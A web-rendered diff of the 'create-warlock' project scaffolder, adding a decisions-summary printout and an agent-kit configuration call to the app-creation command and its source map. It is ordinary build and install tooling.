153
|
missingFeatures,
|
|
151
154
|
packageManager: getPackageManager()
|
|
152
155
|
});
|
|
156
|
+
printDecisionsSummary({
|
|
157
|
+
packageManager: getPackageManager(),
|
|
158
|
+
options
|
|
159
|
+
});
|
|
153
160
|
return {
|
|
154
161
|
ok: false,
|
|
155
162
|
problems
|
|
@@ -161,6 +168,10 @@ async function createWarlockApp(application) {
|
|
|
161
168
|
features: installedFeatures,
|
|
162
169
|
packageManager: getPackageManager()
|
|
163
170
|
});
|
|
171
|
+
printDecisionsSummary({
|
|
172
|
+
packageManager: getPackageManager(),
|
|
173
|
+
options
|
|
174
|
+
});
|
|
164
175
|
return {
|
|
165
176
|
ok: true,
|
|
166
177
|
problems
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-warlock-app/index.ts"],"sourcesContent":["import {\n getDatabaseLabel,\n isNoDatabase,\n} from \"../../features/database-drivers\";\nimport { App } from \"../../helpers/app\";\nimport { CommandResult, takeLastCommandOutput } from \"../../helpers/exec\";\nimport {\n getPackageManager,\n runPackageManagerCommand,\n} from \"../../helpers/package-manager\";\nimport { resolveWarlockVersions } from \"../../helpers/warlock-versions\";\nimport { showSuccessScreen } from \"../../ui/banner\";\nimport {\n failFatally,\n installFailureHints,\n Problem,\n showNotes,\n showPartialScreen,\n showProblems,\n} from \"../../ui/report\";\nimport { spinner } from \"../../ui/spinner\";\nimport { spinnerMessages } from \"../../ui/spinners\";\n\n/**\n * What the scaffold actually achieved. `ok` is false when ANY step the user\n * asked for did not happen; the caller turns that into a non-zero exit code so\n * a script never mistakes a half-built project for a finished one.\n */\nexport type ScaffoldOutcome = {\n ok: boolean;\n problems: Problem[];\n};\n\n/** One-line \"why did this fail\" pulled out of a captured command. */\nfunction reasonFrom(result: CommandResult | undefined): string {\n if (!result) return \"the command reported a failure (no output captured)\";\n\n if (result.error) {\n return result.error.message || String(result.error);\n }\n\n const lastLine = `${result.stderr}\\n${result.stdout}`\n .split(/\\r?\\n/)\n .map(line => line.trim())\n .filter(Boolean)\n .pop();\n\n const status =\n result.code === null\n ? `killed by ${result.signal ?? \"an unknown signal\"}`\n : `exit code ${result.code}`;\n\n return lastLine ? `${status} — ${lastLine}` : status;\n}\n\nexport async function createWarlockApp(\n application: App,\n): Promise<ScaffoldOutcome> {\n const options = application.options;\n const { useGit, useJWT, features, aiProviders, databaseDriver } = options;\n const noDatabase = isNoDatabase(databaseDriver);\n const problems: Problem[] = [];\n\n // Resolve the versions to pin BEFORE anything is written. The scaffolder's\n // own version is only used when the registry confirms it exists — see\n // helpers/warlock-versions.ts for why an unverified pin broke every install.\n const { versions, notes } = await resolveWarlockVersions();\n\n // Step 1: Initialize and copy template\n const templateSpinner = spinner();\n templateSpinner.start(spinnerMessages.copyingTemplate);\n\n try {\n application\n .init()\n .use(\"warlock\")\n .updatePackageJson(versions)\n .updateDotEnv();\n\n // Wire the chosen database driver into .env — or, when the user opted out,\n // strip the database config entirely so the app boots with no database.\n if (noDatabase) {\n application.removeDatabaseConfig();\n } else {\n application.configureDatabaseEnv(databaseDriver);\n application.configureDatabaseConfig(databaseDriver);\n }\n\n application.configureWebStarter(features.includes(\"web\"));\n } catch (error) {\n templateSpinner.stop(spinnerMessages.templateFailed);\n\n failFatally({\n step: \"Template copy\",\n detail: `The project files could not be written: ${(error as Error).message}`,\n hints: [\n \"Check that the target directory is writable and that no file is locked by another process.\",\n ],\n });\n }\n\n templateSpinner.stop(spinnerMessages.templateCopied);\n\n showNotes(notes);\n\n // Step 2: Install base dependencies (so the `warlock` binary is available).\n // Nothing downstream works without this, so a failure ends the run — loudly,\n // with the command, its exit code and its output.\n const installSpinner = spinner();\n installSpinner.start(spinnerMessages.installingDeps);\n\n const baseInstall = application.install();\n const baseInstalled = await baseInstall.install;\n const baseInstallResult = await baseInstall.result;\n\n if (!baseInstalled) {\n installSpinner.stop(spinnerMessages.depsFailed);\n\n failFatally({\n step: \"Dependency install\",\n detail: \"The project's dependencies were not installed.\",\n result: baseInstallResult,\n hints: installFailureHints(baseInstallResult),\n });\n }\n\n installSpinner.stop(spinnerMessages.depsInstalled);\n\n // Step 3: Add features via `warlock add --no-install`, then one batched install.\n // The DB driver, optional features, and AI providers all go through the single\n // source of truth (core's feature map) so versions never drift. When no\n // database was chosen, the driver is omitted (there is no `none` feature).\n const selectedFeatures = [\n ...(noDatabase ? [] : [databaseDriver]),\n ...features,\n ...aiProviders,\n ];\n\n // Features the user asked for that are not in the project when we finish.\n const failedFeatures: { feature: string; reason: string }[] = [];\n\n if (selectedFeatures.length > 0) {\n const featuresSpinner = spinner();\n featuresSpinner.start(spinnerMessages.addingFeatures);\n\n let addedFeatures = selectedFeatures;\n\n if (!(await application.installFeatures(selectedFeatures))) {\n // The batch is all-or-nothing, so it cannot say WHICH feature broke it.\n // Retry them one at a time: every feature that can be added still gets\n // added, and every one that cannot gets its own reason.\n const batchFailure = takeLastCommandOutput();\n\n addedFeatures = [];\n\n for (const feature of selectedFeatures) {\n if (await application.installFeatures([feature])) {\n addedFeatures.push(feature);\n } else {\n failedFeatures.push({\n feature,\n reason: reasonFrom(takeLastCommandOutput() ?? batchFailure),\n });\n }\n }\n }\n\n let featureInstall: CommandResult | undefined;\n\n if (addedFeatures.length > 0) {\n // `warlock add` records the feature dependencies but does not reconcile\n // them with each other. The `web` feature brings `vite` while the\n // template always brings `vitest`, whose own vite range resolves to a\n // different major — two copies, and yarn 1 aborts the whole link phase\n // on them. Pin one copy BEFORE the batched install, not after.\n application.pinViteResolution();\n\n const install = application.install();\n const installed = await install.install;\n\n featureInstall = await install.result;\n\n if (!installed) {\n // The dependencies were recorded but never fetched — the features are\n // not usable, so they are failures, not successes.\n const reason = `their packages were not installed (${reasonFrom(featureInstall)})`;\n\n for (const feature of addedFeatures) {\n failedFeatures.push({ feature, reason });\n }\n\n addedFeatures = [];\n }\n }\n\n if (failedFeatures.length === 0) {\n featuresSpinner.stop(spinnerMessages.featuresAdded);\n } else {\n featuresSpinner.stop(\n addedFeatures.length > 0\n ? spinnerMessages.featuresPartial\n : spinnerMessages.featuresFailed,\n );\n\n problems.push({\n step: \"Features\",\n detail: failedFeatures\n .map(({ feature, reason }) => `${feature}: ${reason}`)\n .join(\"\\n \"),\n result: featureInstall?.ok === false ? featureInstall : undefined,\n hints: [\n `Retry inside the project with: npx warlock add ${failedFeatures\n .map(({ feature }) => feature)\n .join(\" \")}`,\n ],\n });\n }\n }\n\n // Step 4: Initialize Git repository if requested\n if (useGit) {\n const gitSpinner = spinner();\n gitSpinner.start(spinnerMessages.initializingGit);\n\n const initialized = await application.git();\n\n gitSpinner.stop(\n initialized ? spinnerMessages.gitInitialized : spinnerMessages.gitFailed,\n );\n\n if (!initialized) {\n const failure = takeLastCommandOutput();\n\n problems.push({\n step: \"Git repository\",\n detail: `The repository was not initialized: ${reasonFrom(failure)}`,\n result: failure,\n hints: [\n \"Check that git is installed and that user.name / user.email are configured, then run `git init` yourself.\",\n ],\n });\n }\n }\n\n // Step 5: Generate JWT or warm cache\n if (useJWT) {\n const jwtSpinner = spinner();\n jwtSpinner.start(spinnerMessages.generatingJwt);\n\n const command = runPackageManagerCommand(\"jwt\");\n const generated = await application.exec(command);\n\n jwtSpinner.stop(\n generated ? spinnerMessages.jwtGenerated : spinnerMessages.jwtFailed,\n );\n\n if (!generated) {\n const failure = takeLastCommandOutput();\n\n problems.push({\n step: \"JWT secrets\",\n detail: `No JWT secrets were written to .env: ${reasonFrom(failure)}`,\n result: failure,\n hints: [`Run \\`${command}\\` inside the project before starting it.`],\n });\n }\n } else {\n // The warm cache is a start-up optimisation, not something the user asked\n // for: report it, but it does not make the scaffold a failure.\n const warmSpinner = spinner();\n warmSpinner.start(spinnerMessages.warmingCache);\n\n const warmed = await application.exec(\"npx warlock --warm-cache\");\n\n warmSpinner.stop(\n warmed ? spinnerMessages.cacheWarmed : spinnerMessages.cacheWarmFailed,\n );\n\n if (!warmed) takeLastCommandOutput();\n }\n\n // Step 6: Report what actually happened — the summary may only advertise\n // features that are really in the project.\n const requestedFeatures = [...features, ...aiProviders];\n const missingFeatures = failedFeatures\n .map(({ feature }) => feature)\n .filter(feature => requestedFeatures.includes(feature));\n const installedFeatures = requestedFeatures.filter(\n feature => !missingFeatures.includes(feature),\n );\n\n if (problems.length > 0) {\n showProblems(problems);\n\n showPartialScreen({\n projectName: application.name,\n database: getDatabaseLabel(databaseDriver),\n features: installedFeatures,\n missingFeatures,\n packageManager: getPackageManager(),\n });\n\n return { ok: false, problems };\n }\n\n showSuccessScreen({\n projectName: application.name,\n database: getDatabaseLabel(databaseDriver),\n features: installedFeatures,\n packageManager: getPackageManager(),\n });\n\n return { ok: true, problems };\n}\n"],"mappings":"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"}
|
|
1
|
+
{"version":3,"file":"index.mjs","names":[],"sources":["../../../../../../../create-warlock/src/commands/create-warlock-app/index.ts"],"sourcesContent":["import {\n getDatabaseLabel,\n isNoDatabase,\n} from \"../../features/database-drivers\";\nimport { App } from \"../../helpers/app\";\nimport { CommandResult, takeLastCommandOutput } from \"../../helpers/exec\";\nimport {\n getPackageManager,\n runPackageManagerCommand,\n} from \"../../helpers/package-manager\";\nimport { resolveWarlockVersions } from \"../../helpers/warlock-versions\";\nimport { showSuccessScreen } from \"../../ui/banner\";\nimport {\n failFatally,\n installFailureHints,\n Problem,\n showNotes,\n showPartialScreen,\n showProblems,\n} from \"../../ui/report\";\nimport { spinner } from \"../../ui/spinner\";\nimport { spinnerMessages } from \"../../ui/spinners\";\nimport { printDecisionsSummary } from \"../../summary\";\n\n/**\n * What the scaffold actually achieved. `ok` is false when ANY step the user\n * asked for did not happen; the caller turns that into a non-zero exit code so\n * a script never mistakes a half-built project for a finished one.\n */\nexport type ScaffoldOutcome = {\n ok: boolean;\n problems: Problem[];\n};\n\n/** One-line \"why did this fail\" pulled out of a captured command. */\nfunction reasonFrom(result: CommandResult | undefined): string {\n if (!result) return \"the command reported a failure (no output captured)\";\n\n if (result.error) {\n return result.error.message || String(result.error);\n }\n\n const lastLine = `${result.stderr}\\n${result.stdout}`\n .split(/\\r?\\n/)\n .map(line => line.trim())\n .filter(Boolean)\n .pop();\n\n const status =\n result.code === null\n ? `killed by ${result.signal ?? \"an unknown signal\"}`\n : `exit code ${result.code}`;\n\n return lastLine ? `${status} — ${lastLine}` : status;\n}\n\nexport async function createWarlockApp(\n application: App,\n): Promise<ScaffoldOutcome> {\n const options = application.options;\n const { useGit, useJWT, features, aiProviders, databaseDriver } = options;\n const noDatabase = isNoDatabase(databaseDriver);\n const problems: Problem[] = [];\n\n // Resolve the versions to pin BEFORE anything is written. The scaffolder's\n // own version is only used when the registry confirms it exists — see\n // helpers/warlock-versions.ts for why an unverified pin broke every install.\n const { versions, notes } = await resolveWarlockVersions();\n\n // Step 1: Initialize and copy template\n const templateSpinner = spinner();\n templateSpinner.start(spinnerMessages.copyingTemplate);\n\n try {\n application\n .init()\n .use(\"warlock\")\n .updatePackageJson(versions)\n .updateDotEnv();\n\n // Wire the chosen database driver into .env — or, when the user opted out,\n // strip the database config entirely so the app boots with no database.\n if (noDatabase) {\n application.removeDatabaseConfig();\n } else {\n application.configureDatabaseEnv(databaseDriver);\n application.configureDatabaseConfig(databaseDriver);\n }\n\n application.configureWebStarter(features.includes(\"web\"));\n application.configureAgentKitTargets(options.agents ?? [\"claude\"]);\n } catch (error) {\n templateSpinner.stop(spinnerMessages.templateFailed);\n\n failFatally({\n step: \"Template copy\",\n detail: `The project files could not be written: ${(error as Error).message}`,\n hints: [\n \"Check that the target directory is writable and that no file is locked by another process.\",\n ],\n });\n }\n\n templateSpinner.stop(spinnerMessages.templateCopied);\n\n showNotes(notes);\n\n // Step 2: Install base dependencies (so the `warlock` binary is available).\n // Nothing downstream works without this, so a failure ends the run — loudly,\n // with the command, its exit code and its output.\n const installSpinner = spinner();\n installSpinner.start(spinnerMessages.installingDeps);\n\n const baseInstall = application.install();\n const baseInstalled = await baseInstall.install;\n const baseInstallResult = await baseInstall.result;\n\n if (!baseInstalled) {\n installSpinner.stop(spinnerMessages.depsFailed);\n\n failFatally({\n step: \"Dependency install\",\n detail: \"The project's dependencies were not installed.\",\n result: baseInstallResult,\n hints: installFailureHints(baseInstallResult),\n });\n }\n\n installSpinner.stop(spinnerMessages.depsInstalled);\n\n // Step 3: Add features via `warlock add --no-install`, then one batched install.\n // The DB driver, optional features, and AI providers all go through the single\n // source of truth (core's feature map) so versions never drift. When no\n // database was chosen, the driver is omitted (there is no `none` feature).\n const selectedFeatures = [\n ...(noDatabase ? [] : [databaseDriver]),\n ...features,\n ...aiProviders,\n ];\n\n // Features the user asked for that are not in the project when we finish.\n const failedFeatures: { feature: string; reason: string }[] = [];\n\n if (selectedFeatures.length > 0) {\n const featuresSpinner = spinner();\n featuresSpinner.start(spinnerMessages.addingFeatures);\n\n let addedFeatures = selectedFeatures;\n\n if (!(await application.installFeatures(selectedFeatures))) {\n // The batch is all-or-nothing, so it cannot say WHICH feature broke it.\n // Retry them one at a time: every feature that can be added still gets\n // added, and every one that cannot gets its own reason.\n const batchFailure = takeLastCommandOutput();\n\n addedFeatures = [];\n\n for (const feature of selectedFeatures) {\n if (await application.installFeatures([feature])) {\n addedFeatures.push(feature);\n } else {\n failedFeatures.push({\n feature,\n reason: reasonFrom(takeLastCommandOutput() ?? batchFailure),\n });\n }\n }\n }\n\n let featureInstall: CommandResult | undefined;\n\n if (addedFeatures.length > 0) {\n // `warlock add` records the feature dependencies but does not reconcile\n // them with each other. The `web` feature brings `vite` while the\n // template always brings `vitest`, whose own vite range resolves to a\n // different major — two copies, and yarn 1 aborts the whole link phase\n // on them. Pin one copy BEFORE the batched install, not after.\n application.pinViteResolution();\n\n const install = application.install();\n const installed = await install.install;\n\n featureInstall = await install.result;\n\n if (!installed) {\n // The dependencies were recorded but never fetched — the features are\n // not usable, so they are failures, not successes.\n const reason = `their packages were not installed (${reasonFrom(featureInstall)})`;\n\n for (const feature of addedFeatures) {\n failedFeatures.push({ feature, reason });\n }\n\n addedFeatures = [];\n }\n }\n\n if (failedFeatures.length === 0) {\n featuresSpinner.stop(spinnerMessages.featuresAdded);\n } else {\n featuresSpinner.stop(\n addedFeatures.length > 0\n ? spinnerMessages.featuresPartial\n : spinnerMessages.featuresFailed,\n );\n\n problems.push({\n step: \"Features\",\n detail: failedFeatures\n .map(({ feature, reason }) => `${feature}: ${reason}`)\n .join(\"\\n \"),\n result: featureInstall?.ok === false ? featureInstall : undefined,\n hints: [\n `Retry inside the project with: npx warlock add ${failedFeatures\n .map(({ feature }) => feature)\n .join(\" \")}`,\n ],\n });\n }\n }\n\n // Step 4: Initialize Git repository if requested\n if (useGit) {\n const gitSpinner = spinner();\n gitSpinner.start(spinnerMessages.initializingGit);\n\n const initialized = await application.git();\n\n gitSpinner.stop(\n initialized ? spinnerMessages.gitInitialized : spinnerMessages.gitFailed,\n );\n\n if (!initialized) {\n const failure = takeLastCommandOutput();\n\n problems.push({\n step: \"Git repository\",\n detail: `The repository was not initialized: ${reasonFrom(failure)}`,\n result: failure,\n hints: [\n \"Check that git is installed and that user.name / user.email are configured, then run `git init` yourself.\",\n ],\n });\n }\n }\n\n // Step 5: Generate JWT or warm cache\n if (useJWT) {\n const jwtSpinner = spinner();\n jwtSpinner.start(spinnerMessages.generatingJwt);\n\n const command = runPackageManagerCommand(\"jwt\");\n const generated = await application.exec(command);\n\n jwtSpinner.stop(\n generated ? spinnerMessages.jwtGenerated : spinnerMessages.jwtFailed,\n );\n\n if (!generated) {\n const failure = takeLastCommandOutput();\n\n problems.push({\n step: \"JWT secrets\",\n detail: `No JWT secrets were written to .env: ${reasonFrom(failure)}`,\n result: failure,\n hints: [`Run \\`${command}\\` inside the project before starting it.`],\n });\n }\n } else {\n // The warm cache is a start-up optimisation, not something the user asked\n // for: report it, but it does not make the scaffold a failure.\n const warmSpinner = spinner();\n warmSpinner.start(spinnerMessages.warmingCache);\n\n const warmed = await application.exec(\"npx warlock --warm-cache\");\n\n warmSpinner.stop(\n warmed ? spinnerMessages.cacheWarmed : spinnerMessages.cacheWarmFailed,\n );\n\n if (!warmed) takeLastCommandOutput();\n }\n\n // Step 6: Report what actually happened — the summary may only advertise\n // features that are really in the project.\n const requestedFeatures = [...features, ...aiProviders];\n const missingFeatures = failedFeatures\n .map(({ feature }) => feature)\n .filter(feature => requestedFeatures.includes(feature));\n const installedFeatures = requestedFeatures.filter(\n feature => !missingFeatures.includes(feature),\n );\n\n if (problems.length > 0) {\n showProblems(problems);\n\n showPartialScreen({\n projectName: application.name,\n database: getDatabaseLabel(databaseDriver),\n features: installedFeatures,\n missingFeatures,\n packageManager: getPackageManager(),\n });\n\n printDecisionsSummary({ packageManager: getPackageManager(), options });\n\n return { ok: false, problems };\n }\n\n showSuccessScreen({\n projectName: application.name,\n database: getDatabaseLabel(databaseDriver),\n features: installedFeatures,\n packageManager: getPackageManager(),\n });\n\n printDecisionsSummary({ packageManager: getPackageManager(), options });\n\n return { ok: true, problems };\n}\n"],"mappings":"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